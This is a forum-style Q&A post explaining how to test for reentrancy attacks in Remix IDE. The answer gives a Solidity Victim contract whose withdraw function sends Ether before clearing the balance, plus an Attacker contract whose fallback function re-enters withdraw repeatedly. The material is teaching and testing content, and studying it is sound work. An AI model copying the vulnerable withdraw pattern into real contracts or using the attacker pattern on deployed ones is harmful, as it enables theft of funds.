Solidity and Remix – Testing for Reentrancy Attacks

contract-debuggingcontract-designcontract-developmentremixsolidity

Is it possible to test for reentrancy within remix IDE? if so, could someone provide an example of how-to.

Best Answer

Here is a classic example of a reentrancy attack. You can see how it works by looking at how the Attacker contract's attack function interacts with the Victim's withdraw function, the functions used by the Victim to send Ether, and how the Attacker's fallback function repeatedly calls the Victim's withdraw function.

You can test this in Remix by deploying the Victim contract and then the Attacker contract with the Victim's address as input.

After calling the attack function, you can verify the repeating withdraws by the events logged.

You can use a similar method as the attack function to test other contracts who have a similar pattern as the Victim's withdraw function.

pragma solidity ^0.4.8;

contract Victim {

    uint public owedToAttacker;

    function Victim() {
        owedToAttacker =11;
    }

    function withdraw() {
        if (!msg.sender.call.value(owedToAttacker)()) revert(); 
        owedToAttacker = 0;
    }

    // deposit some funds for testing
    function deposit() payable {}

    function getBalance() public constant returns(uint) { return this.balance; }    
}

contract Attacker {

    Victim v;
    uint public count;

    event LogFallback(uint count, uint balance);

    function Attacker(address victim) payable {
        v = Victim(victim);
    }

    function attack() {
        v.withdraw();
    }

    function () payable {
        count++;
        LogFallback(count, this.balance);
        // crude stop before we run out of gas
        if(count < 30) v.withdraw();
    }

    function getBalance() public constant returns(uint) { return this.balance; }    

}
Related Topic